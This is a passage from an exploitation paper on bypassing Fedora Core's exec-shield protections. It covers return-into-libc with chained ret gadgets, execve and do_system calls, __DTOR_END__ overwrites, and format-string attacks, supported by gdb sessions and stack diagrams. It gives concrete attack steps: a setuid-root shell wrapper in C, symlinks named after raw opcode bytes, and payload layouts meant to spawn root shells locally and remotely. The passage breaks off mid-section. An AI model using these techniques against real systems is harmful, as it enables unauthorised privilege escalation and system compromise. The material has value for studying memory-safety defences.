=================================================================================================== Title: Advanced exploitation in exec-shield (Fedora Core case study) Author: "dong-hun you"(Xpl017Elz) in INetCop Home: http://x82.inetcop.org & http://www.inetcop.org =================================================================================================== P.S: I am very worried about miss-translation may occur. So, I have tried to explain the ideas with picture and graph than words. Some of these contents were published on POC 2006 held in Korea. I have put the old concept and new one altogether for coherence. So, Please be generous about the overlap. All these codes and exploit are tested on Fedora Core system. --[ 1 - Intro 1 - Intro 2 - Brief features of Fedora Core system (gcc + glibc + exec-shield) 2.1 - non-executable randomization stack, malloc heap, randomization library 2.2 - Addressing system under 16mb (NULL pointer dereference protection) 2.3 - PIE technology (changed gcc) 2.4 - Changed method of accessing function parameter (changed glibc) 3 - Stack based overflow exploitation on exec-shield environment 3.1 - Exploit by moving %esp, %ebp register 3.2 - Remote exploit by moving %esp register 3.3 - Using exec family function and symlink 3.4 - Using exec family function and environment variables 3.5 - Exploit on classic shellcode library area 3.6 - Example code 4 - How to do format string exploit on exec-shield environment 4.1 - Remote attack by using do_system() function 4.2 - Local exploit by moving %esp, %ebp register 4.3 - Using __do_global_dtors_aux() function, setuid() function and do_system() function 4.4 - Using __do_global_dtors_aux() function and exec family function 4.5 - Changing __DTOR_END__ location (overwriting p section) 4.6 - Format string in classic shellcode library area 4.7 - Example code 5 - How to exploit since Fedora Core 5 system 5.1 - Changes on main() function prolog and epilog 5.2 - Exploit by using off-by-one exploit with %ecx register 5.3 - Overflow exploit overwriting __DTOR_END__ section 5.4 - Overflow exploit overwriting GLOBAL OFFESET TABLE 5.5 - Example code 6 - Appendix 6.1 - ret(pop %eip) remote stack overflow exploit 6.2 - ret(pop %eip) + symlink local stack overflow exploit 6.3 - ret(pop %eip) + environment local stack overflow exploit 6.3.1 - execl() local exploit 6.3.2 - execle() local exploit 6.3.3 - execlp() local exploit 6.3.4 - execv() local exploit 6.3.5 - execvp() local exploit 6.3.6 - execve() local exploit 6.4 - library shellcode stack overflow exploit 6.4.1 - Test exploit with strcpy function example 6.4.2 - Test exploit with sprintf function example 6.5 - do_system() remote format string exploit 6.6 - p section overwrite local format string exploit 6.7 - __do_global_dtors_aux() + exec family local format string exploit 6.8 - library overwrite local format string exploit 6.9 - %ecx off-by-one exploit and the test exploit 6.10 - string copy plt + do_system() __DTOR_END__ overwrite remote stack overflow exploit 6.11 - string copy plt + execve() __DTOR_END__ overwrite local stack overflow exploit 6.12 - string copy plt + execve() GOT overwrite local stack overflow exploit 7 - Reference I had the first contact with Fedora Core exe-shield system from a hacking competition 2 years ago. Since then, I had studied the system for a month and I published it on POC 2006(Power Of Community) conference held in Korea. What I did and studied was application of existing return-into-libc technique which had been studied by many excellent hackers to latest system. This paper contains very simple things and you probably know many of them. This paper can be separated into 3 parts. The first section is about trying stack overflow attack on exec-shield environment. The second section is about trying format string attack on exec-shield by using some features of some functions. And we will discuss some attack technique for changed prolog and epilog and both remote and local attack skills since Fedora Core 5 system. Fedora Core system has exec-shield kernel by default, so I , mostly , will talk about Fedora Core system. As a matter of course, those technique can be applied to CentOS , White box linux and Redhat Enterprise with little change. I strongly recommend you to read references before reading this paper. --[ 2 - Brief features of Fedora Core system (gcc + glibc + exec-shield) Fedora Core is a project run by Redhat and it provides technical background. Fedora Core (F/C since now), unlike old RedHat OS, has stack and heap hacking prevent system called exec-shield. Exec-shield makes its specialty of blocking all the existing attacks concern stack, buffer, function pointer overflow and overwriting data structure or injecting code on that data structure. You can find more by looking ANNOUNCE-exec-shield on Reference 7.16 ----[ 2.1 - non-executable randomization stack, malloc heap, randomization library Stack and data area, heap area allocated by malloc() function are now non-executable, and it makes classic shellcode useless. Area that library is mapped ,merely, has execute privilege. But even this will be re-mapped on every single execution. This randomizing algorithm ,unlike that of Redhat Linux 9.0, is very unpredictable. It looks very similiar to Openwall Project (7.12) of Solar Designer and PaX kernel system (7.13) ----[ 2.2 - Addressing system under 16mb (NULL pointer dereference protection) Kernel re-maps all PROT_EXEC mapping in ascii-armor area and make its address system less than 16mb. This idea came from the fact that hackers use 4byte library address when they make overflow attempt on old 32bit system. By doing this, memory address now has null in the address it means many memory related hacking technique such as return-into-libc(7.2) are now hard to be used. Sometimes, there is a chance to enter null into overflowed buffer easily. But on this paper, I am not going to talk about this. In addition, recent changes on glibc make some library function address end with null or 0x20. ----[ 2.3 - PIE technology (changed gcc) PIE stands for Position Independent Executables is a similar concept with old PIC. This is a way to protect application from being exploited by attacks such as buffer overflow. ----[ 2.4 - Changed method of accessing function parameter (changed glibc) F/C 3 has glibc 2.3.3 on it. This glibc handles the commands that passed into system() and exec family function with %ebp register. With the stack overflow happening, hacker can manipulate %ebp register, so there is still a good chance to indicate certain command to execute. fedora core 3 glibc 2.3.3 system(): : mov 0x8(%ebp),%esi ; refers %ebp + 8 fedora core 4 glibc 2.3.5 system(): : mov 0x10(%esp),%edi ; refers %esp + 16 But since glibe 2.3.5 on F/C 4, it refers %esp register that a user can not directly manipulate. glibc-2.x.x/posix/Makefile gives you a great explanation about why did it happen. -bash-3.00$ pwd /tmp/glibc-2.3.5/posix -bash-3.00$ cat Makefile |grep fomit CFLAGS-wordexp.os = -fomit-frame-pointer CFLAGS-spawn.os = -fomit-frame-pointer CFLAGS-spawnp.os = -fomit-frame-pointer CFLAGS-spawni.os = -fomit-frame-pointer CFLAGS-execve.os = -fomit-frame-pointer CFLAGS-fexecve.os = -fomit-frame-pointer CFLAGS-execv.os = -fomit-frame-pointer CFLAGS-execle.os = -fomit-frame-pointer CFLAGS-execl.os = -fomit-frame-pointer CFLAGS-execvp.os = -fomit-frame-pointer CFLAGS-execlp.os = -fomit-frame-pointer -bash-3.00$ you can see that library structure has been changed by -fomit-frame-pointer option. The option is also applied to exec family functions as well. fedora core 3 glibc 2.3.3 execve(): : mov 0xc(%ebp),%ecx ; second argument of execve() : mov 0x10(%ebp),%edx ; third argumet of execve() : mov 0x8(%ebp),%edi ; first argument of execve() fedora core 4 glibc 2.3.5 execve(): : mov 0xc(%esp),%edi ; first argument of execve() : mov 0x10(%esp),%ecx ; second argument of execve() : mov 0x14(%esp),%edx ; third argument of execve() execve() function in old glibc (2.3.3) refers command argument from memory of %ebp + 0x08, but in last version of glibe (2.3.5), it refers %esp + 0x0c. --[ 3 - Stack based overflow exploitation on exec-shield environment Now, we confront with some obstacles. First, the library function has NULL within its address. Second, we need to fight some glibc functions that are compile with -fomit-frame-pointer option under exec-shield which is non-executable on both stack and heap. Fortunately, it is not the worst situation. As a matter of fact, we can tell whether the attack will be a piece of cake or not, only after analyzing structure of target program. Let me introduce some of the possible hacking technique. ----[ 3.1 - Exploit by moving %esp, %ebp register Below is the easiest and the most common way to attack system with -fomit-frame-pointer option compiled glibc. Before going into the attack technique, I feel like to tell you "how to move %esp register by 4bytes". ret ; pop %eip Generally, it is very common to pop %eip register from stack to return to previous function. it is called epilog process and this process finally moves %esp register by 4bytes. <- stack grows this way address grows this way -> ... 10 14 18 22 (return address moves by 4bytes) |...--------------------------|------|------|------|-----------------------------...| [ret] [ret] [ret] [XXXX] | ^ | ^ | ^ | | | | | | +----+ +----+ +-----+ (%esp register moves by 4bytes) %esp+4 %esp+4 %esp+4 (stack gets smaller by pop) With this technique, we can use some of the contents in stack to attack the system and indicate a certain location of stack to be a argument of function that is called only for once. In addition, we can move the stack pointer by greater than 4bytes. fedora core 5 glibc 2.4, gcc 4.1.0-3: <__libc_csu_init>: ... add $0x1c,%esp pop %ebx pop %esi pop %edi pop %ebp ret <__do_global_ctors_aux>: ... add $0x4,%esp pop %ebx pop %ebp ret glibc since F/C 5 skips the epilog process with some functions which exist in binary by default. This helps us to move %esp register by as many bytes as we want. Only with this condition, it is possible to demonstrate the technique of Phrack 58-4 (by Nergal 7.7). Especially, by using "plt" string copy function, it is also possible to call same function for many times and by calling it appropriately we can finally execute shellcode (Phrack 58-4, 3.2 contains this vulnerability). We are going to talk about this at chapter 5.3. <- stack grows this way address grows this way -> +-----------+------+------------+------------+-----------+------+------------+-----+ | func1 plt | eplg | func1_arg1 | func1_arg2 | func2 plt | eplg | func2_arg1 | ... | +-----------+------+------------+------------+-----------+------+------------+-----+ ^ ^ | | +-------------------------------------------+ (As many bytes as %esp is added or popped) We also can manipulate %esp register in directly by doing leave as if we can manipulate %esp register well. ----[ 3.2 - Remote exploit by moving %esp register I want to tell you about remote attack by moving %esp register on F/C 3 as an example. It only happens on a special circumstance but it still tells us that the attack by moving %esp register is possible. First, F/C 3 has glibc 2.3.3 and glibc 2.3.3 has __libc_start_main() function that calls _setjmp() gives us a very nice attack example. fedora core 3 glibc 2.3.3, gcc 3.4.2-6.fc3: <__libc_start_main+160>: call 0xf6edf720 <_setjmp> <_setjmp+0>: xor %eax,%eax <_setjmp+2>: mov 0x4(%esp),%edx <_setjmp+6>: mov %ebx,0x0(%edx) <_setjmp+9>: mov %esi,0x4(%edx) <_setjmp+12>: mov %edi,0x8(%edx) ; IMPORTANT! <_setjmp+15>: lea 0x4(%esp),%ecx ; breakpoint <_setjmp+19>: mov %ecx,0x10(%edx) <_setjmp+22>: mov 0x0(%esp),%ecx <_setjmp+26>: mov %ecx,0x14(%edx) <_setjmp+29>: mov %ebp,0xc(%edx) <_setjmp+32>: mov %eax,0x18(%edx) <_setjmp+35>: ret <_setjmp+36>: nop ... Breakpoint 1, 0x00a2172c in _setjmp () from /lib/tls/libc.so.6 (gdb) x $edi 0xfefffb10: 0x00b1cff4 (gdb) x $edx 0xfefffb10: 0x00b1cff4 (gdb) x $edx+8 0xfefffb18: 0xfefffb10 ; 8bytes lesser (gdb) Through the process ,%edx + 8 has memory address that smaller than itself by 8bytes. Now, what if we move the %esp register to old _setjmp() %edx register and then call system() function? <-- stack grows this way address grows this way --> +------------+----------+------------+------------+------------+------------+-----------+ | buf | %ebp | ret | ret+4 | ret+8 | ret+12 | ret+20 | +------------+----------+------------+------------+------------+------------+-----------+ ... xxxxx ... 0x70707070 main()'s ret main()'s ret main()'s ret main()'s ret system(); Below is the process (1) After overwriting %ebp with 0x70707070 for test, move %esp to old _setjmp() %edx by repeating ret (pop %eip) (2) Calling system() function at the position of old _setjmp() %edx register saves old %ebp register to stack by prolog process (3) After prolog process, now %ebp of system() function points 0x70707070 * Stack status before attack: fedora core 3 glibc 2.3.3, gcc 3.4.2-6.fc3: <_setjmp+12>: mov %edi,0x8(%edx) 0xfef16bf0: 0xf6fdaff4 0x00000000 0xfef16bf0 ~~~~~~~~~~ ~~~~~~~~~~ | | +--> old _setjmp() %edx +--> old _setjmp() %edx+8 * Stack status after attack: fedora core 3 glibc 2.3.3, gcc 3.4.2-6.fc3: : push %ebp ; %ebp has 0x70707070. : mov %esp,%ebp ; recent %ebp becomes pushed old %ebp 0xfef16bf0: 0x70707070 0x00000000 0xfef16bf0 ~~~~~~~~~~ ~~~~~~~~~~ | | +--> system() %ebp +--> system() function argument system() function refers %ebp+8 as a argument ,so above will try to execute 0x70707070. Thus we can use strings like "sh" (0x6873) to execute a shell. Like this case, you need to find out useful values on stack by repeating ret command. This is a tiny example of exploit using structure of a program. There may be a lot more possibilities to exploit when it comes to real applications. ----[ 3.3 - Using exec family function and symlink By moving %esp, we can search stack for a right value for a function argument. We should find three values from stack for execve(), because execve() function refers arguments by %esp register address. You can, of course, use execv() that uses only 2 arguments. * Stack status after executing exploit: fedora core 4 glibc 2.3.5, gcc 4.0.0-8: : push %edi ; prolog : push %ebx : mov 0xc(%esp),%edi : mov 0x10(%esp),%ecx : mov 0x14(%esp),%edx <- stack grows this way address grows this way -> +-------+---+---+---------------------------------------------------------------+ | buf |ebp|eip| buffer | +-----------+---+---+---+---+---+---+---+---+---------------+----+----+----+----+ |XXXXXXXX...|ret|ret|ret|ret|ret|ret|ret|ret|execve()'s addr|XXXX|arg1|arg2|arg3| +-----------+---+---+---+---+---+---+---+---+---------------+----+----+----+----+ ^ +----------------------------> (flow) We can see getting first argument from %esp+0x0c after prolog process of execve() function. After 9 times of moving %esp register by ret, I could find appropriate command for the first argument of execve() function when I tested on F/C 4. * Stack status after 9 times of repeating ret code and calling execve() function: fedora core 4 glibc 2.3.5, gcc 4.0.0-8: (gdb) br *execve+13 Breakpoint 2 at 0x19e1b9 (gdb) c Continuing. Breakpoint 2, 0x0019e1b9 in execve () from /lib/libc.so.6 (gdb) x/x $esp+0x0c 0xbf8b42b8: 0x080483b4 ; fist argument of execve() function ($esp + 0x0c) (gdb) 0xbf8b42bc: 0xbf8b42e8 ; second argument of execve() function ($esp + 0x10) (gdb) 0xbf8b42c0: 0xbf8b4290 ; third argument of execve() function ($esp + 0x14) (gdb) x 0x080483b4 0x80483b4 <__libc_csu_init>: 0x57e58955 ; fist argument of execve() function (gdb) 0x80483b8 <__libc_csu_init+4>: 0xec835356 (gdb) 0x80483bc <__libc_csu_init+8>: 0x0000e80c (gdb) x 0xbf8b42e8 0xbf8b42e8: 0x00000000 ; second argument of execve() function (gdb) x 0xbf8b4290 0xbf8b4290: 0x08048296 ; third argument of execve() function (gdb) 0xbf8b4294: 0x08048296 (gdb) 0xbf8b4298: 0x08048296 (gdb) It shows that %esp has moved till the starting address of __libc_csu_init() function. The address values stored in that point is stored in stack before main(). Now that we got a address value to execute as a command, all we need to do now is to link with a program that we want to execute for privilege elevation through syslink. This syslink technique came from Lamagra (7.4) [x82@localhost tmp]$ cat sh.c int main() { setuid(0); setgid(0); system("/bin/sh"); } [x82@localhost tmp]$ gcc -o sh sh.c [x82@localhost tmp]$ ln -s sh `printf "\x55\x89\xe5\x57\x56\x53\x83\xec\x0c\xe8"` We can link __libc_csu_init() function code itself as a execution command. This will be quite effective on real application exploit. You can find more in exploit code example. ----[ 3.4 - Using exec family function and environment variables I have thought about this technique when I tried local man exploit. This seems quite effective under certain circumstance that a hacker can put ret (pop %eip) command as many as he want. If there were a vulnerability on a local variable located in a stack frame near argument pointer, environment variable pointer, that would be the best condition for this skill to work. argument pointer and environment variable pointer is made of array of pointers that point each datum. There is, always, Null at the end of the pointer and we can judge whether it is the end of pointer by NULL. ^ | Stack grows this way ... +---------------------+ | argument0 pointer |: argument starts here. +---------------------+ | argument1 pointer | +---------------------+ | ... | +---------------------+ | argument(n) pointer | +---------------------+ | null (0x00000000) |: argument ends here. +---------------------+ | environ0 pointer |: environment starts here. +---------------------+ | environ1 pointer | +---------------------+ | ... | +---------------------+ | environ(n) pointer | +---------------------+ | null (0x00000000) |: environment ends here. +---------------------+ ... | Address grows this way V I want you to read FC_local_environ_bof.txt file on reference 7.18 for base knowledge. First we need to call some functions whose arguments can be set as environment variables like execve() and then assign each argument in environment variables. Then, by repeating ret code, move %esp register to the environment variable pointer ,and ,finally, call exec family function. Attack flow will be like below whatever execv family function you choose. for me, I chose execve() function. fedora core 6 glibc 2.5, gcc 4.1.1-30: Environment variable: +------------------+ | "./sh" |: will be the first argument of execve() +------------------+ | '\0' |: will be the second argument of execve() +------------------+ | '\0' |: will be the third argument of execve() +------------------+ | '\0' | +------------------+ | '\0' | +------------------+ | '\0' | +------------------+ Attack code: All we need to do is set execve() function 8byte prior to environment argument pointer. By doing so, the "./sh", first environment variable that we entered, will be mistaken as the first argument of execve() when execve is called . It happens because computer refers the address of %esp + 4byte as argument. ^ | stack grows this way ... +------------------+ | buffer |: local variable which will be overflowed +------------------+ | ret(pop %eip) |: move %esp by 4bytes +------------------+ | ret(pop %eip) | +------------------+ | ret(pop %eip) | +------------------+ | ret(pop %eip) | +------------------+ | ... | +------------------+ | execve() func |: address of environment variation pointer - 8byte +------------------+ | null(0x00000000) |: end of argument pointer +------------------+ | environ0 pointer |: environment variable "./sh" (it will be the first argument of execve() function) +------------------+ | environ1 pointer |: environment variable NULL pointer (it will be the second argument of execve() function) +------------------+ | environ2 pointer |: environment variable NULL pointer (it will be the third argument of execve() function) +------------------+ ... | address grows this way V It is very reasonable to put null code in environment variable for 5 times. the second environment variable pointer after the first one "./sh" should have 4bytes of null (0x00000000). That's why I entered 4bytes of null. And the third environment variable pointer also should have 4bytes of null code. So, I added 1 more byte of null to satisfy this condition. (You can use not only the environment variable pointer but also argument pointer) Debugging result for fedora core 6 glibc 2.5, gcc 4.1.1-30, exploit: [root@localhost exec]# gdb 0x82-x_execve -q ... (gdb) r ... Program received signal SIGSEGV, Segmentation fault. 0x00000000 in ?? () (gdb) x/7x $esp 0xbf9fde80: 0xbf9fffeb 0xbf9ffff0 0xbf9ffff1 0xbf9ffff2 0xbf9fde90: 0xbf9ffff3 0xbf9ffff4 0x00000000 (gdb) x/s 0xbf9fffeb 0xbf9fffeb: "./sh" <=== the first argument of execve() (gdb) x/x 0xbf9ffff0 0xbf9ffff0: 0x00000000 <=== the second argument of execve() (gdb) x/x 0xbf9ffff1 0xbf9ffff1: 0x00000000 <=== the third argument of execve() (gdb) Arguments will be pushed like above when execve() is called. Both second and third arguments points null code. You can also input null code directly to both arguments by using argument pointer. execve("./sh",0xbf9ffff0,0xbf9ffff1); or execve("./sh",0x00000000,0x00000000); Please see example exploit code for more. ----[ 3.5 - Exploit on classic shellcode library area Ret code and environment variable pointers are also used for this technique. There is nothing new about this technique, but it still means something for it can execute a classic shellcode. First, we should remember that the classic shellcode can be run in library. [x82@localhost ~]$ cat /proc/self/maps | grep rwxp 0048a000-0048c000 rwxp 00122000 fd:00 211398 /lib/tls/libc-2.3.3.so 0048c000-0048e000 rwxp 0048c000 00:00 0 00a93000-00a94000 rwxp 00a93000 00:00 0 00c68000-00c69000 rwxp 00015000 fd:00 211343 /lib/ld-2.3.3.so 0804c000-0804d000 rwxp 00003000 fd:00 65057 /bin/cat 0804d000-0806e000 rwxp 0804d000 00:00 0 [x82@localhost ~]$ Attack process: (1) Declare shellcode in environment variable through execve() function. (2) Remember not to use copy function address under 16 mb, use plt copy function code. Thus, we can make the first argument of copy function. (2) Repeat ret code to make the shellcode environment variable pointer declared at step 1 the second argument of copy function. (4) Put ret code again right after calling copy function. By doing so, The first argument of copy function, shellcode, will be called. (5) You should input executable library address into the first argument of copy function. We should be thankful that library address is located within 16mb (3byte) * fedora core 4 glibc 2.3.5, gcc 4.0.0-8: Structure of environment variable: +-----------+ | shellcode | +-----------+ Making attack code: <- Stack grows this way Address grows this way -> +-------+-----+-----+-----+-----+-----+-----+----------------------+-----+--------------+ | buf | ret | ret | ret | ... | ret | ret | string copy func plt | ret | library addr | +-------+-----+-----+-----+-----+-----+-----+----------------------+-----+--------------+ Put shellcode into empty library space and do ret code. Then, library address that contains shellcode will be popped into %eip and we can finally execute a shell. To call copy function many times, we can try %esp moving technique that mentioned at chapter 3.1. Because this skill can move stack pointer more than 4bytes, we can try other attack technique. You should check chapter 5.3 and 5.4 for more. ----[ 3.6 - Example code I have told some of attack technique that uses %esp register movement. Appendix codes at chapter 6 will prove those 4 technique already been told. 0x82-remote_ret.sh script at chapter 6.1 is about the remote attack code we study at chapter 3.2. And 0x82-break_FC4.c code at 6.2 is about exec family function + symlink technique at chapter 3.4. 0x82-x_execl.c, 0x82-x_execle.c, 0x82-x_execlp.c, 0x82-x_execv.c, 0x82-x_execvp.c, 0x82-x_execve.c those codes are for the exec family + environment variable attack at 3.4. Finally, 0x82-x_strcpy.c, 0x82-x_sprintf.c for the shellcode attack mentioned at 6.4. --[ 4 - How to do format string exploit on exec-shield environment Unlike overflow technique, moving on stack is not easy on format string attack. So, we will take advantage of some special functions to attack. ----[ 4.1 - Remote attack by using do_system() function I have found that system() function calls do_system() since F/C glibc 2.3.3. Old system() function called execve() internally, but changed system() input command argument into %esi register and copy it to %eax register. Finally, make it an argument of do_system() function. fedora core 3 glibc 2.3.3, gcc 3.4.2-6.fc3: : mov 0x8(%ebp),%esi ; insert the value at %ebp+8 into %esi register : mov %esi,%eax ; insert %esi regiseter into %eax register : jmp 0x77d320 ; call do_system() do_system() receives command argument through %eax register and makes "sh -c command" then passes it to execve(). In short, do_system() doesn't use frame pointer and stack pointer when it receives an argument. It only refers %eax register. That's why we can take advantage of do_system(). What would happen if we call do_system() inside of __do_global_dtors_aux() function? fedora core 6 glibc 2.5, gcc 4.1.1-30: <__do_global_dtors_aux+0>: push %ebp <__do_global_dtors_aux+1>: mov %esp,%ebp <__do_global_dtors_aux+3>: sub $0x8,%esp <__do_global_dtors_aux+6>: cmpb $0x0,0x80495bc <__do_global_dtors_aux+13>: je 0x804837b <__do_global_dtors_aux+27> <__do_global_dtors_aux+15>: jmp 0x804838d <__do_global_dtors_aux+45> <__do_global_dtors_aux+17>: add $0x4,%eax (4) change %eax into __DTOR_END__+4 <__do_global_dtors_aux+20>: mov %eax,0x80495b8 <__do_global_dtors_aux+25>: call *%edx (5) call __DTOR_END__ <__do_global_dtors_aux+27>: mov 0x80495b8,%eax (1) change %eax into __DTOR_END__ <__do_global_dtors_aux+32>: mov (%eax),%edx (2) %edx has the valeu of __DTOR_END__ <__do_global_dtors_aux+34>: test %edx,%edx (3) go back if %edx is not NULL <__do_global_dtors_aux+36>: jne 0x8048371 <__do_global_dtors_aux+17> <__do_global_dtors_aux+38>: movb $0x1,0x80495bc <__do_global_dtors_aux+45>: leave <__do_global_dtors_aux+46>: ret <__do_global_dtors_aux+47>: nop You can find %eax register become __DTOR_END__ +4. After the %eax register become __DTOR_END__, %edx has the value of __DTOR_END__. If %edx register is not NULL, %eax register would move 4bytes (__DTOR_END__+4) and call *%edx. It continues to add 4bytes and call each function saved in __DTOR_END__ section. If __DTOR_END__ section is overwritten with do_system() address, %eax register would be 4byte more than __DTOR_END__. Let's debug after overwriting __DTOR_END__ section with do_system() to check. Breakpoint 1, 0x0077d320 in do_system () from /lib/tls/libc.so.6 (gdb) x/x 0x080494e4 0x80494e4 <__DTOR_END__>: 0x0077d320 ; overwrite __DTOR_END__ with do_system() function address (gdb) i r eax 0x80494e8 134517992 ; address of %eax register ecx 0x86d378 8835960 edx 0x77d320 7852832 ebx 0x80495b8 134518200 esp 0xfeed97fc 0xfeed97fc ebp 0xfeed9808 0xfeed9808 esi 0xffffffff -1 edi 0x80494d8 134517976 eip 0x77d320 0x77d320 eflags 0x206 518 cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) x/x $eax 0x80494e8 <__JCR_LIST__>: 0x00000001 (gdb) We can see %eax is 4bytes over __DTOR_END__. This will open a new shell if we write "sh" string on %eax register. There is a good chance to execute shell without stack on remote. You can see more on exploit code example. ----[ 4.2 - Local exploit by moving %esp, %ebp register Although It is very restricted than former technique, we can still move %esp and %ebp by format string technique by making frames many times on stack. I thought I could move %esp, %ebp register by calling a function continually. But general function that does prolog and epilog would not mean anything. So, I decided to try __do_global_dtor_aux(). First of all, we need to make a frame. <__do_global_dtors_aux+25>: call *%edx ; push %eip <__do_global_dtors_aux+0>: push %ebp <__do_global_dtors_aux+1>: mov %esp,%ebp <__do_global_dtors_aux+3>: sub $0x8,%esp <- Stack grows this way Address grows this way -> +-------------+------+------++-------------+------+------++-------------+------+------+ | 8byte | %ebp | %eip || 8byte | %ebp | %eip || 8byte | %ebp | %eip | +-------------+------+------++-------------+------+------++-------------+------+------+ ^ ^^ ^^ ^ | || || | +---------- 16byte ---------++---------- 16byte ---------++---------- 16byte ---------+ There will be 16bytes of space when you repeat the process above. It is possible to raise stack without removing frame because of the 25th line in __do_global_dtors_aux() that calls desired function by call *%edx syntax. We can move %esp and %ebp register indirectly by using __do_global_dtors_aux(). In addition, _fini() function that calls __do_global_dtors_aux() also can move stack pointer. fedora core 6 glibc 2.5, gcc 4.1.1-30: <_fini+0>: push %ebp <_fini+1>: mov %esp,%ebp <_fini+3>: push %ebx <_fini+4>: sub $0x4,%esp <_fini+7>: call 0x8048444 <_fini+12> <_fini+12>: pop %ebx <_fini+13>: add $0x1100,%ebx <_fini+19>: call 0x8048300 <__do_global_dtors_aux> <_fini+24>: pop %ecx <_fini+25>: pop %ebx <_fini+26>: leave <_fini+27>: ret It can adjusted depends on target program architecture. ----[ 4.3 - Using __do_global_dtors_aux() function, setuid() function and do_system() function We can indicate function argument based on chapter 4.2 even if it is restricted. But the do_system() function technique is still not good enough for a local exploit. That's why we should use setuid() function with it. setuid() refers its argument from %ebp+8. All we need to do is find some address that %ebp+8 is NULL and call the function. In my case on F/C 6, I could make the argument of setuid() 0(null) when I called __do_global_dtors_aux() function once again. Now, all we need to do is calling do_system() function and set "sh" string properly. then, we will get a root shell. ... +-------------------------+ | __do_global_dtors_aux() |: calling __do_global_dtors_aux() +-------------------------+ | setuid() |: calling setuid() +-------------------------+ | do_system() |: calling do_system() +-------------------------+ | "sh" | +-------------------------+ ... Stack based overflow that uses ret(pop %eip) code and execve() function will move %esp register by 4bytes. (address increases and stack decreases.) But the technique we are talking about is opposite to that. It moves %esp and %ebp by 16bytes (address decreases and stack increase.) We can find right value from stack by increasing or decreasing registers. ----[ 4.4 - Using __do_global_dtors_aux() function and exec family function Attack technique that I mentioned at chapter 4.3 has a problem that it is useful only to get root uid. To solve this problem, most of local overflow technique uses exec family function. On this chapter, I will show you local format string technique that uses exec family function. I will use little bit of __do_global_dtors_aux() function to launch an attack. First, I made a frame on stack by calling __do_global_dtors_aux() function. If you don't declare any local variable and only re-execute the call code in __do_global_dtors_aux(), it would store the %eip of recent __do_global_dtors_aux() in stack. Now, you can use stored %eip as the first argument of execv() when you just call execv() function. (we use execv() function because this function needs only 2 arguments) Rest of attack process is same as exec family function + symlink attack. Attack process: (1) Overwrite __DTOR_END__+0 address with __do_global_dtors_aux() function address. (2) Overwrite __DTOR_END__+4 address with __do_global_dtors_aux()+27 address. (3) Overwrite __DTOR_END__+8 address with execv() function address. (4) symlink with the program that executes %eip of __do_global_dtors_aux() points. Stack will be like this, if you allocate local variables and execute call *%edx syntax properly. ^ | Stack grows this way ... +----------------------------------------+ | __do_global_dtors_aux() return address |: 4byte +----------------------------------------+ | __do_global_dtors_aux() return address |: 4byte (will be the first argument of execv()) +----------------------------------------+ | 0x00000000 |: 8byte (will be the second argument of execv()) +----------------------------------------+ | 0x00000001 | +----------------------------------------+ | __do_global_dtors_aux() %ebp |: 4byte +----------------------------------------+ ... | Address grows this way V To make stack structure like that, the call command in __do_global_dtors_aux+25 has to be executed correctly. To execute call command correctly, we need to start from __do_global_dtors_aux+27 where right after call *%edx command is done. You should look at 27th code in __do_global_dtors_aux in chapter 4.1. <__do_global_dtors_aux+27>: mov 0x80495b4,%eax (Starting procedure to call *%edx register) Those are the value of each argument after calling execve() fucntion inside of execv() function. Breakpoint 3, 0x0019dc28 in execve () from /lib/libc.so.6 (gdb) x/x $ebx 0x804834b <__do_global_dtors_aux+27>: 0x0495b4a1 ; first argumet of execve() (gdb) x/x $ecx 0x0: Cannot access memory at address 0x0 ; second argument of execve() (gdb) x/x $edx 0xbfdbd040: 0xbfdbec04 ; third argument of execve() (gdb) x 0x0804834b 0x804834b <__do_global_dtors_aux+27>: 0x0495b4a1 ; entire code that used as the first argument execv() (gdb) 0x804834f <__do_global_dtors_aux+31>: 0x85108b08 (gdb) 0x8048353 <__do_global_dtors_aux+35>: 0xc6eb75d2 (gdb) 0x8048357 <__do_global_dtors_aux+39>: 0x0495b805 (gdb) 0x804835b <__do_global_dtors_aux+43>: 0xc3c90108 (gdb) 0x804835f <__do_global_dtors_aux+47>: 0xe5895590 (gdb) 0x8048363 : 0xa108ec83 (gdb) 0x8048367 : 0x080494c4 (gdb) 0x804836b : 0x1274c085 (gdb) 0x804836f : 0x000000b8 (gdb) From __do_global_dtors_aux+27th line to frame_dummy+15th line will be the first argument of exev() function. After this, rest of course is same as symlink attack mentioned at chapter 3.3. sh-3.1# cat > shell.c int main() { setuid(0); setgid(0); execl("/bin/bash","bash",0); } sh-3.1# gcc -o shell shell.c sh-3.1# ln -s shell `printf "\xa1\xb4\x95\x04\x08\x8b\x10\x85\xd2\x75\xeb\xc6\x05\xb8\x95\x04\x08 \x01\xc9\xc3\x90\x55\x89\xe5\x83\xec\x08\xa1\xc4\x94\x04\x08\x85\xc0\x74\x12\xb8"` We can symlink _do_system_dtors_aux() + frame_dummy() function code that we looked through gdb as a command. This technique is also highly useful when you try to exploit real application. More details are in the example code. ----[ 4.5 - Changing __DTOR_END__ location (overwriting p section) There is a problem when you call __do_global_dtors_aux() function mentioned at 4.2. It can overwrite some memory areas that hold critical information when you call the function many times. It is true that these overwritten heap area always can have data entry structure and some critical information. Thus, it is difficult to call functions many times freely. Actually, there is some section tables after __DTORS_END__ section as you see below. ... +-------------------------+ | __DTOR_END__ | +-------------------------+ | __JCR_LIST__ | +-------------------------+ | _DYNAMIC | +-------------------------+ | _GLOBAL_OFFSET_TABLE_ | +-------------------------+ | data_start | +-------------------------+ ... If you repeat more __do_global_dtors_aux() function to search information in stack, the chance of overwriting important entry such as _GLOBAL_OFFSET_TABLE_ will be greater. This eventually causes some bad effect to program flow The technique we are going to talk about is to use empty space on heap by changing the position of section arbitrarily not by using particular __DTOR_END__ section that declared while compile. Let's look at __do_global_dtors_aux() again. Fedora core 6 glibc 2.5, gcc 4.1.1-30: <__do_global_dtors_aux+6>: cmpb $0x0,0x8049574 (1) check whether 0x8049574 is 0 <__do_global_dtors_aux+13>: je 0x804831b <__do_global_dtors_aux+27> <__do_global_dtors_aux+15>: jmp 0x804832d <__do_global_dtors_aux+45> <__do_global_dtors_aux+17>: add $0x4,%eax <__do_global_dtors_aux+20>: mov %eax,0x8049570 (3) save 4bytes added %eax into 0x8049570 <__do_global_dtors_aux+25>: call *%edx <__do_global_dtors_aux+27>: mov 0x8049570,%eax (2) copy the value in 0x8049570 to %eax <__do_global_dtors_aux+32>: mov (%eax),%edx <__do_global_dtors_aux+34>: test %edx,%edx <__do_global_dtors_aux+36>: jne 0x8048311 <__do_global_dtors_aux+17> The first procedure is comparing 0x08049574 with 0. This section is completed section and has NULL value naturally. Then save 